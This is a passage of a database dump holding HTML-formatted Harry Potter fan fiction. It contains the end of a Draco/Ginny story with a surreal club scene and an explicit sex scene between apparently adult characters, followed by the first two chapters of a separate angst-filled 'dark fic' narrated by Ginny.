away.</p>\n\n<p>We wait momentarily in the darkness, readying ourselves for whatever might happen next. Draco steps out first, pulling me along behind him.</p>\n\n<p>This room is more elegant than the front of the club. People are sitting at tiny round tables playing cards and throwing insults back and forth. Women in various states of undress are drinking and staring blankly at a stage in front, even though there are no performers as of yet.</p>\n\n<p>Mr. Daviz leads us to a table in the corner. Suddenly, the lights come on. There are rising columns of sweet smelling smoke, and in place of the familiar pattern of the club lights, there are intermittent sparks and explosions.</p>\n\n<p>A tall man appears out of nowhere, and tiny birds rise into the air on burning wings. Draco sucks in his breath. My dress gets warmer, and sweat trickles down my face. I struggle with the top button, but it won&#8217;t come undone. It&#8217;s clinging to every part of me. It won&#8217;t let go. I whimper.</p>\n\n<p>&#8220;Ginny?&#8221; Draco whispers, his voice wavering.</p>\n\n<p>There is a sound. Not a loud roar, but an undercurrent. A humming, buzzing, that makes my legs tingle and my hands tremble. My panic is followed by a show of frenzied fireworks, with no one sight experienced more than once. I can&#8217;t catch my breath. In the instant of darkness between one explosion and the next, the entire scene changes.</p>\n\n<p>I look down at my hands. They aren&#8217;t mine. My fingers are long, and slim and pale. I reach for my hair. It&#8217;s blonde, sleek. My blood is colder. My lips feel more slender.</p>\n\n<p>I can feel her. I know her.</p>\n\n<p>&#8220;It can&#8217;t be.&#8221;</p>\n\n<p>One moment, I&#8217;m falling, the next I&#8217;m not. One moment, Draco is standing next to me, and the next, I&#8217;m leaning into someone who has a blade he is about to sink into my neck.</p>\n\n<p>This isn&#8217;t real.</p>\n\n<p>&#8220;Stop&#8230;&#8221; I manage to say, and for a second I experience nothing.</p>\n\n<p>&#8220;But this is what you want,&#8221; the tall man says. He has too many teeth and his eyes are unblinking. </p>\n\n<p>I feel like it will go on forever, the scenes changing before me. One move of his hand takes me from scenic beauty to atrocity. A beautiful field of flowers one moment, a cave plastered with corpses the next. I catch a glimpse of Draco. He is staring into space, wide eyed, horrified. The tall man is laughing.</p>\n\n<p>My body is different. I feel different. The dress gets tighter. It&#8217;s suffocating me. I pull at it, try to tear at the hem. I can&#8217;t get out. </p>\n\n<p>I can&#8217;t get free.</p>\n\n<p>I&#8217;m terrified that we&#8217;ve been led into some terrible trap. It is inexplicable, whatever it is that is occurring between myself and my dress. It moves on my skin now, sometimes soothingly, sometimes cruelly. When I try to unzip it, try to loosen the collar, it only clings tighter. </p>\n\n<p>&#8220;Draco..&#8221; I cry out.</p>\n\n<p>Someone shrieks, someone laughs, and darkness falls as quickly as the lights had come on.</p>\n\n<p>I move my hands across my body. My freckles have returned. I&#8217;m still here. There is relief mixed with a pang of regret. Draco&#8217;s eyes are red. His hands are shaky. Mr. Daviz is now standing before us.</p>\n\n<p>&#8220;Powerful, wouldn&#8217;t you say?&#8221;</p>\n\n<p>Mr. Daviz&#8217;s eyes are colder than before. &#8220;Tell your father that if he is to know true power, he will seek us out tomorrow night. &#8220;</p>\n\n<p>&#8220;What did you just do?&#8221; he asks. When I glance around the room, I notice that one man is sobbing by himself in a corner. One woman is laughing, and dancing to no music in the middle of the floor.</p>\n\n<p>&#8220;For a small price, we let our guests experience their deepest desires in their truest form.She&#8217;ll recover,&#8221; Mr. Daviz quips. </p>\n\n<p>Draco reaches for my arm.</p>\n\n<p>&#8220;I&#8217;ll relay your message.&#8221;</p>\n\n<p>Mr. Daviz laughs and bows. &#8220;Yes, you will.&#8221;</p>\n\n<p>.</p>\n\n<p>***</p>\n\n<p>We&#8217;re silent when we finally reach the exit. My footsteps seem heavier the further away we get. I try to forget the light show, but I crave it. Something in the pit of my stomach turns and I cling to the pole just outside the doorway. A man accidentally walks into me, nearly knocking me down.</p>\n\n<p>&#8220;Muggles&#8230;&#8221; Draco grumbles.</p>\n\n<p>&#8220;It&#8217;s hard to leave,&#8221; I say, my hand unwilling to let go of the pole.</p>\n\n<p>&#8220;I know,&#8221; he says. He pulls at my arm, and we manage to make our way across the street.</p>\n\n<p>&#8220;Where do we go now?&#8221;</p>\n\n<p>&#8220;We can stay at the Manor,&#8221; he says.</p>\n\n<p>Something is wrong. I can feel his gaze on me when we Apparate into his bedroom.</p>\n\n<p>&#8220;I&#8217;m tired.Let&#8217;s just get some rest,&#8221; he says, not looking at me.</p>\n\n<p>&#8220;Draco?&#8221;</p>\n\n<p>I put my hand on his shoulder. He pulls away. I don&#8217;t bother to ask him what he saw. I know he&#8217;ll just find a reason not to answer.</p>\n\n<p>He pulls off his jumper and sits on the bed.</p>\n\n<p>&#8220;I&#8217;m tired as well,&#8221; I say quietly. </p>\n\n<p>He grumbles something inaudible, and climbs into bed. I unzip the dress, let it fall to my ankles, and climb in beside him. We settle into separate corners. I consider wrapping my arms around him, but I let him alone.</p>\n\n<p>The wind has dropped. I can hear the sound of trees scraping against the walls of the house and the raucous cry of some unknown creature.</p>\n\n<p>***</p>\n\n<p>I wake up before him, and the first thing I look for is the dress. I get out of bed, pick it up, and drape it over the footboard of the bed. It is so unlike me, so very different from anything I&#8217;d ever worn before.</p>\n\n<p>I shiver as I remember last night, and reach out to touch it, rub the silk between my fingertips. For a brief moment, I feel it again. I can feel the pulse of the music and Mr. Daviz&#8217;s breath on my neck.</p>\n\n<p>Something tickles my back gently, and I squirm.</p>\n\n<p>&#8220;It was cold, lying there without you.&#8221;</p>\n\n<p>There is that delicious feeling of waiting, and then the feel of his arms wrapping around my waist.</p>\n\n<p>&#8220;You&#8217;re perfect,&#8221; he says, and I believe him. When he touches me, I will believe anything he says, do anything he asks. His mouth on my mine feels urgent, bruising.</p>\n\n<p>His hands trace down and rest on my inner thighs.</p>\n\n<p>He mutters something, and bends me over the bed. I&#8217;m gripping the dress in one hand and stroking his cock in the other. When he enters me, I intend to bite down onto my fist to muffle my cry, but instead, end up tasting the red silk. The scent is wonderful, strange, bringing up odd, swirling images behind my eyelids. </p>\n\n<p>Draco is panting now, slowing his strokes. He draws one of my earlobes into his mouth and then softly lets go.</p>\n\n<p>I arch back into him and he rides me. His hips are scooping under and up, and then crashing into me; a steady rhythm marked by the sound of my name coming from him in tiny moans.</p>\n\n<p>I hold the dress against my breasts, the creeping wave of need rising up from my belly and spreading quickly over my gooseflesh. My back arches and my toes cramp up as every part of my body coils, impelling me towards my finish.</p>\n\n<p>I remember the way it felt to be like her. I bet she is refined even bent over a mattress.</p>\n\n<p>Draco reaches around and rubs my clit, and I lose all thought until I come, my face pressed into the silk, leaving a moist circle near the neckline. Near the silver buttons that had clung too tightly last night, and that were now leaving decorative indentations on my cheek.</p>\n\n<p>Draco notices and tries to pull it out of my hand, but it is me who is clinging now. Not wanting to let it go.</p>\n\n<p>I turn onto my back, still holding the dress against my chest. Draco pays little attention to this and reaches under the silk to knead my bare nipples before entering me again, pushing too hard and too fast.</p>\n\n<p>I realize, vaguely, that I&#8217;m lifting my hips to him, quietly whispering words he will likely never say back.</p>\n\n<p>&#8220;I love you&#8230;&#8221;</p>\n\n<p>And when he comes, the dress is crushed between us, damp and wrinkled. One button has come loose in my hand. The smell of it is fading now.</p>\n\n<p>The perfection of it, ruined, by the beauty that is us. No fairy tale. No stuff that dreams are made of. Just the lifeless shell of something I&#8217;ll never become. A hundred times I&#8217;ve closed my eyes and dreamt about what it was like to be someone like her.</p>\n\n<p>I let it go.</p>\n\n<p>There is a long sigh from Draco, a question perhaps. His own sweet smell is magnified all around me and I kiss him, trying to taste it. Feel it.</p>\n\n<p>Draco pulls the dress from between us, tosses it to the floor.</p>\n\n<p>&#8220;I&#8217;ll buy you another. A different color.&#8221;</p>\n\n<p>I rise to kiss him again, holding him by his hair. I think to my self that later, I will ask him what he saw.</p>\n\n<p>He rolls off of me, folding his hands behind his head with a satisfied smirk.</p>\n\n<p>&#8220;Blue, perhaps,&#8221; he says.</p>\n\n<p>***</p> '),
	(140, 1, '\n\n\n\nA/N: My first dark fic.&nbsp; You can read the fully updated (but\nstill not finished) version on ff.net at my supergirl aka sky is blue\naccount.&nbsp; \n\n<p class="MsoNormal">http://www.fanfiction.net/read.php?storyid=1142505\n&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Summary: 16 years old, and no longer a child.&nbsp; She never was, come to think of\nit.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nworld she lives in is on the brink of war, and she&#8217;s about to fall.&nbsp; Fear over takes her, because her life\nis so <i>wrong.</i>&nbsp; Falling in love with Draco Malfoy.&nbsp; Because he sees her; he notices through his ever-changing\neyes.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Posing\na threat to her&#8212;and more importantly, the whole world. And he has power\ngreater than her imagination.&nbsp; What\ndoes this have anything to do with her?&nbsp;\nEvery day the tears fall, because her mind, heart and soul are\ncorrupted&#8212;confused, constantly falling.&nbsp; His spirit still lingers deep in her years after, a constant\nreminder of who she is.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8216;I\ndon&#8217;t want the world to die.&#8217;</i>&nbsp; </p>\n\n<p class="MsoNormal">She must stop him, though he makes her weak.&nbsp; Though she loves him dangerously. Stop\nhim from becoming what he was destined to.&nbsp; But how can she even begin to, when she must first win the\nbattle within herself?&nbsp; A battle\nshe is losing&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n&nbsp;\n\n-Though My Heart Is From Hell- \n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Introduction</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He was perfect in every single\nway.&nbsp; In ways that I knew I would\nnever be.&nbsp; And some may choose to\ncall me crazy, thinking so about such an antagonistic man&#8212;but what do you\nthink of it?&nbsp; Do you, as well,\nthink me a freak?&nbsp; You soon will.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And\nnow you wonder how I ever came to admire him.&nbsp; Notice the word I choose to use: admire.&nbsp; I do not think I love him&#8212;not\nyet, anyway.&nbsp; And that&#8217;s why\nI must stay away from him, for I fear his charm will take my senses over.&nbsp; I&#8217;m afraid, to tell you the\ntruth.&nbsp; Because I fell in love with\nhim one fateful day; the world was still spinning round, and the sun was still\nshining.&nbsp; And everything was wrong.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Did I just wake up one morning with\nthe notion that he weren&#8217;t such an arse after all?&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Or\nwas it something gradual.&nbsp; It does\nnot make sense.&nbsp; And this creepy,\nshivery, chilling feeling that I get whenever I think of him, or whenever\nI&#8217;m near him&#8212;it&#8217;s the same feeling I experienced in my first\nyear in my horrible state of trance.&nbsp;\nSometimes I would break free of it, and I would get the most horrible\nshivers.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And\nnow, when I look at him, he shines in my eyes.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You\nthink me crazy, don&#8217;t you?&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nthink I am.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He was perfect because he did not\nsee me as everyone else did.&nbsp; Look\nat yourself, now, and you&#8217;ll realize you see me as a shy, boring girl.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">You know what the difference is\nbetween you and I? You, you might be one of them<i>.&nbsp; The loved ones.&nbsp;\nThe happy ones, with the smiles; the popular ones.</i>&nbsp; And\nI&#8217;m not.&nbsp; And do you know\nwhat that does to a person?&nbsp; I see\nthings differently than you do. Because I do not have a filter withstanding\nbetween dream and fantasy.&nbsp; I see\nreality, and I hate it&#8212;because all the while I watch myself fade away\nwith the hurtful words and actions, I must keep my fake fa&#231;ade.&nbsp; Just because no one cares to look\nbeyond it, doesn&#8217;t mean I don&#8217;t want them to.&nbsp; And Draco Malfoy, he did.&nbsp; He very nearly saw me for what I was,\nwho I wanted to be, and he saw the greatest desires within me.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You\nthink me crazy, don&#8217;t you?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nthink I am.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny!&#8221;&nbsp; Her voice rang throughout the empty\ncorridors and of course I turned around.&nbsp;\nShe was beaming at me, waving a piece of parchment in the air.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nOh, Ginny, look!&nbsp; I aced that\ntest!&#8221; she chirped cheerfully.&nbsp;\nAnd though I did not feel any rush of excitement, I was a good\nactress.&nbsp; So once again I put on my\nmask that I had so skillfully created, smiling that winning smile.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nOh, Amelia, that&#8217;s wonderful!&#8221;&nbsp; And even to my own ears, the honey covered voice that was\nunfortunately mine&#8212;it sounded so sickly, so fake.&nbsp; Yet once again, no one noticed.&nbsp; No one cared to look into my eyes just\nonce&#8212;just long enough to see who I really was.&nbsp; They were all too ignorant. My thoughts unwillingly wander\ntoward him.&nbsp; How perfect he\nis.&nbsp; You surely must have noticed\nhow different his eyes are from the rest.&nbsp;\nYou surely must have observed them once or twice, afterwards pondering\nunder the starlit sky what was so different about him.&nbsp; How they were ever-changing, perhaps\ndue to his mood, or even depending on the weather.&nbsp; But they were a truly the eyes of a fey&#8212;a great and\npowerful wizard with many secrets hidden within his walls.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Perhaps that&#8217;s what is so\ndifferent about me.&nbsp; I don&#8217;t\nthink the way you do.&nbsp; If your mind\nwere a sunny day, mine is the most dangerous of storms, not because it destroys\neverything in its path, because it is sneaky, cunning, and strikes when you\nleast expect it&#8230;</p>\n\n<p class="MsoNormal">I cannot think of cheerful things.&nbsp; It&#8217;s like a shadow, a shadow that was placed after my\nfirst year.&nbsp; Trying to remember\npast my first year; I can&#8217;t.&nbsp;\nThe incident overtakes my mind and heart and soul.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">His leering face forever remains in\nthe depths of my body, and I can still feel his weak spirit linger inside of\nme.&nbsp; That spirit is always there,\nsometimes stronger than normal.&nbsp; It\nis what causes me to become the dangerous storm, and isn&#8217;t it\nironic?&nbsp; It grows stronger with\nevery naughty deed I do.&nbsp; Every\nsin, every dark thought.&nbsp; Because\nthen he knows I am slowly falling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;And sometimes the temptation to be a destructive storm is\ngreat.&nbsp; And when that spirit is\ncompletely rekindled, I will be gone.&nbsp;\nGinny Weasley will be lost forever in a sea of confusion.&nbsp; When that spirit grows strong, the\nworld will be in deep turmoil.<i> </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;I have powers greater than any man on Earth&#8212;and now\nthey&#8217;re partly bestowed upon you.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Doesn&#8217;t it seem almost\nhopeless?&nbsp; Don&#8217;t you think\nthat one day, I will indeed be the cause of the end of the world?&nbsp; Already I do deeds that I dare not speak\nof, deeds that Ginny Weasley would be appalled of.<i> </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;You and I will do great things together, and others will\nfollow, others who have great power.</i></p>\n\n<p class="MsoBodyTextIndent" style="text-indent:0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Should I fall into Draco\nMalfoy&#8217;s abyss; I shall be far lost than I already am. To fall in love\nwith a dark and brooding creature is dangerous, is it not?&nbsp; Surely then, I will grow weaker, for\nlove can do that to the strongest of men, and then what?&nbsp; He is already his father&#8217;s\nidentical man, and surely just as faithful to Him as his father will be.&nbsp; And nothing makes sense.&nbsp; Because though my heart is from hell, I\ndo not want the world to suffer.&nbsp; I\nwant to relieve myself from this burden.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">I want to stop him from becoming\nwhat he will soon be, so that I will not become that someone I had always\ndestined to be, so that my heart will no longer be corrupted.&nbsp; And should I try to help him, he will\nsee the desperate tone in my quiet, calm voice.&nbsp; His eyes will shine with concern, and for a moment his cold\nexterior will be gone.&nbsp; For he does\nnot see things the way others do. Or perhaps this too is a fantasy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">I have great desires; some I dare\nnot mention because I am still in denial.&nbsp;\nBut above all, I want to escape.&nbsp;\nEscape these dark shadows that call me with such luring voices, escape\nthe corrupted thoughts that haunt me.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>My greatest fear</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp; Losing the battle within myself.&nbsp; The temptation of power is far too great.&nbsp;&nbsp; Maybe I&#8217;m not strong\nenough, maybe I&#8217;ll fall just like so many others have. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I fear that soon the darkness will\nbe all around me, nothing there to help me out of the dark.&nbsp; </p>\n\n<p class="MsoBodyTextIndent">Love will always help you.</p>\n\n<p class="MsoNormal">The lonely words of my foolish mother.&nbsp; Love is such a trivial thing in the\nworld I live in.&nbsp; Love is\nweakness.&nbsp; </p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nam on the edge of the cliff.&nbsp; Just\ngive me one more push.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To be continued&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: R/R</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(140, 2, '\n\n\n\n<p class="MsoNormal">A/N: Thank you to those who have reviewed.&nbsp; Enjoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I do not own anything.&nbsp; Maybe the plot, but who knows?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Though My Heart Is From Hell</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter 2:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It started out as an uneventful\nday&#8212;the sun still shone, though it was rather dim, and the wind still\nblew outside.&nbsp; The dreadful classes\nwent on, and everything, everywhere reminded me of&#8230;whom I was.&nbsp; What a surprise that was.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I walked slowly out of the great\nhall&#8212;and I walked alone, hiding within the shadows of the corridors.&nbsp; My hands were clenched and my footsteps\nwere light.&nbsp; But then how was it\nthat I could hear them thud heavily on the ground&#8212;or perhaps that was my\nheart?&nbsp; I was melancholy.&nbsp; I was in a good mood&#8212;better than\nusual.&nbsp; But that soon changed.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nVirginia.&#8221;</p>\n\n<p class="MsoNormal">&nbsp; I halted, my\nthoughts halted, my heart halted.&nbsp; <i>Virginia.</i>&nbsp; He\ncalled my name so softly&#8212;and yet it was as loud as a stampede of\nelephants.&nbsp; Commanding, luring,\nforceful.&nbsp; So much charisma withstanding\nin one simple word.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I knew he was behind me, I could\nfeel his body there, and I could hear his soft, even breathing.&nbsp; My first mistake was turning around to\nface his eyes.&nbsp; His gray eyes that\nmade me shake with fear&#8212;they held so much animosity.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Our lips were sealed, yet there was\nso much said with the one look he gave me.&nbsp; With one look of his changing gray eyes I knew what he was\ntelling me.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>I\nknow who and what you are.</i> &nbsp;Thus the odd ringing in my ears began. <i>Denial.\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;</i>My eyes darted\nfrantically around, and I tried to shut him out, tried to run away, but I was\nfrozen&#8212;and so was my mind.&nbsp;\nSo much was said&#8212;things that could not be said with simple words,\nand even now I cannot contemplate clearly what he had said.&nbsp; Only then I knew.&nbsp; And only then my fear had increased;\nmaking me shudder with each breath I took.&nbsp; The moment that passed was merely a minute or two.&nbsp; But it very well could have been hours,\nor days, or years.&nbsp; Time had\ndisappeared&#8212;slipped through my fingers like sand, and it no longer existed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I can give you power you had\nnever dreamed of even in your wildest fantasies, child.&#8221;&nbsp; His soft, strong, and dangerous voice\nfloated from everywhere around me, surrounding me, and I was getting lost.&nbsp; Lost in the fog.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>I\ncan give you power you had never dreamed of even in your wildest fantasies</i>.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Willpower.&nbsp; Using every ounce of willpower I had, I\nbegan to see beyond the endless fog that blurred my vision.&nbsp; <i>No.</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It\nwas tantalizing, the way my whole body tingled with his words&#8212;and it was\nso near, so close, almost within my spindly grasp. <i>No.</i>&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If\nonly I said yes, if only I nodded, everything would be fine, and I would be\none, I would be renewed.&nbsp; <i>Yes&#8230;</i>&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But\nwhat then? &nbsp;Damn the question&#8212;but\nit was what saved me from falling. What happens to the world then?&nbsp; And the feelings disappeared, for\nreality had kicked in.&nbsp; And\nsomehow, knowing that I could not say yes made me feel even weaker, making my\nknees buckle with pressure.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>No&#8230;</i>&#8221; I cried, gasping for breath.&nbsp; His face was like stone; cold, hard,\nwith no apparent emotion.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nNo?&#8221; he mocked me, his cruel and thin lips curling up.&nbsp; He watched me break down with a\nspiteful glare, gray eyes boring holes in me as he did.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nAnd tell me, who are <i>you</i> to turn down\nsuch an offer?&#8221; he asked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nNo, I can&#8217;t, Draco.&#8221; I kept on, though my voice was softer.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nAren&#8217;t you a little coward?&#8221;&nbsp;&nbsp; Silence, and I was grateful.&nbsp; I did not answer because yes, I was a coward. I knew what I was\nwithout him telling me.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">His robes swished and for a moment I\nwas enclosed in black.&nbsp; Then, he\nwas gone.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">---------------------------------------+</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>I&#8217;m drowning in pools of\nsweat and blood and I cannot see anything beyond it. I shake and shudder with a\ncold that I cannot describe, and though there is fire, I do not feel\nwarmer.&nbsp; Fear is present within me,\nand I think I am screaming, for the shrill, bloodcurdling sound is sure to be\nmine&#8230;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sobs interrupt the night&#8217;s\nsilence.&nbsp; I knew I was shaking, and\nI felt hot and cold at the same time.&nbsp;\nDreams.&nbsp; Dreams that did not\nmake sense&#8212;but that was why they were so terrible, because my heart\nunderstood and I did not understand my heart.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">My eyes traveled over to the window\nand I noted that the stars looked oddly bright tonight.&nbsp; <i>Oh, </i>how I wished I were one of them, not one looking for hope, but the one\nto give hope to those who were lost.&nbsp;\nI wanted to be free like the wind, to let Ginny Weasley&#8217;s spirit\novertake myself, to become complete.&nbsp;\nTo be the smiling girl I was once upon a time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>How\ndid he know?</i>&nbsp; </p>\n\n<p class="MsoNormal">That had been my first rational thought after my encounter\nwith him.&nbsp; But the question merely\nbounced back to me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>How\ncould he not know?</i></p>\n\n<p class="MsoNormal">Of course.&nbsp; He\nwas smart, bright, witty&#8212;whatever adjective you choose.&nbsp; He was quick&#8212;of course he knew I was\ndifferent.&nbsp; I smiled\nhalf-heartedly, feeling an odd, warm feeling creep up my spine.&nbsp; My Draco had looked past my boring\nexterior and he had seen me for who I was&#8212;he had, for a brief moment,\nseen my troubles.&nbsp; And it made me\nlove and hate him even more.&nbsp;\nBecause though he was the first to see me without my mask, he was the\none who had taken advantage of it, he had been the one to sneer at me so\ncoldly, laughing at my pathetic life.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Danger.&nbsp; The word echoed through me.&nbsp; Now that he knew&#8212;and it would do\nno good to deny it, for he had seen me at my weakest&#8212;everything was in\ndanger.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He\nwould manipulate me, because my secret was out.&nbsp; I would fall hard.&nbsp;\nMy heart would be burnt and tortured and I would become Virginia, a\nruthless girl with no heart at all.&nbsp;\nI did not want it to be so.&nbsp;\nAh, but what I gift it was to know what was coming for me&#8212;I had\nthought on the matter many times before, and the knowledge made me even more\nfearful.</p>\n\n<p class="MsoNormal">.&nbsp; My life will\neventually be gone, and I would be stripped of any sane thoughts.&nbsp; I knew I would be miserable.&nbsp; But furthermore, I knew what danger it\nbrought upon the world.&nbsp; Voldemort\nwas rising to power.&nbsp; His Death\nEaters followed.&nbsp; Draco was\npowerful for I see it every day in his eyes.&nbsp; But above all, I knew what I was capable of.&nbsp; Or what I was capable of with\nTom&#8217;s immeasurable powers.&nbsp; I\nremembered the look that Draco had flung toward me moments before he had\nleft.&nbsp; He knew I had won this time.\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>But\nI&#8217;ll be back, Virginia.&nbsp; And\nI will win.</i>&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;\nAlready the world was on the brink of war, and hope was already bleak in\nthis war that had not yet started.&nbsp;\nThe few that were powerful had died many years ago&#8212;and so many\nchose the path of betrayal because of their lack of bravery.&nbsp; Already the light side was\nout-numbered, and it took merely the slight push of the teeter-tottering\nbalance to change the whole aspect of the world.</p>\n\n<p class="MsoNormal">And I knew what I had to do.&nbsp; Because though I was destined to evil, that was not what 